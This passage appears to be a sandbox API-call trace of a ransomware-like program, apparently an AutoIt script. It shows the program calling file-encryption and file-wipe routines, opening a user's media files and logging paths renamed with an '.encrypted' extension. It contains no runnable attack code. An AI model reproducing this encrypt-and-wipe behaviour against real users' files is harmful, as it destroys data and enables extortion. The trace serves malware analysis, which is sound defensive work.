hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.642] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.642] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0023.642] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.643] CharLowerBuffW (in: lpsz="byte[31123]", cchLength=0xb | out: lpsz="byte[31123]") returned 0xb [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.643] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.643] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.643] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.643] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.644] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.644] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0023.644] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.644] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.644] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.644] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0023.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.644] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.644] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.644] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0023.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.644] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.644] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.644] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.645] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.645] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.645] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.645] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.646] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.646] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.646] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.646] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.646] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0023.646] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=2163) returned 1 [0023.646] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.646] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0023.646] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0023.646] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x873, lpOverlapped=0x0) returned 1 [0023.646] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0023.646] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x873, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.646] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=2163) returned 1 [0023.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\xE_1J.encrypted.avi\r\n", cchWideChar=51, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 51 [0023.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\xE_1J.encrypted.avi\r\n", cchWideChar=51, lpMultiByteStr=0xe8f404bcd0, cbMultiByte=51, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\xE_1J.encrypted.avi\r\n", lpUsedDefaultChar=0x0) returned 51 [0023.646] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4051590*, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4051590*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x32, lpOverlapped=0x0) returned 1 [0023.647] CloseHandle (hObject=0x1fc) returned 1 [0023.647] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.647] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.648] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.648] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.648] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.648] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0023.648] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.649] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0023.649] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41787a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0023.649] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0023.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f41787a0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0023.650] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0023.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.mp3", cchWideChar=43, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 43 [0023.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.mp3", cchWideChar=43, lpMultiByteStr=0xe8f404c350, cbMultiByte=43, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.mp3", lpUsedDefaultChar=0x0) returned 43 [0023.650] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.mp3" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ypmyrw0yu.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=43, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 43 [0023.650] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=43, lpWideCharStr=0xe8f406a190, cchWideChar=43 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Desktop\\YPMyrW0Yu.mp3") returned 43 [0023.650] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.651] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.651] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.651] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0023.651] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.651] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.652] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178700, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0023.652] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0023.653] CloseHandle (hObject=0x1fc) returned 1 [0023.653] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.654] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.654] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.654] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0023.654] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.654] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0023.654] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0023.654] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.654] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.654] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.654] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.654] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.654] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.654] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0023.654] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.654] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.654] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.654] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.654] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.654] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0023.654] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.654] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.654] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.654] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.654] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.655] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.655] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.655] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.655] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.655] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0023.655] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.655] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.655] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.655] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.655] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.655] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0023.655] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.655] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633c0) returned 1 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.656] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.656] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.656] CharUpperBuffW (in: 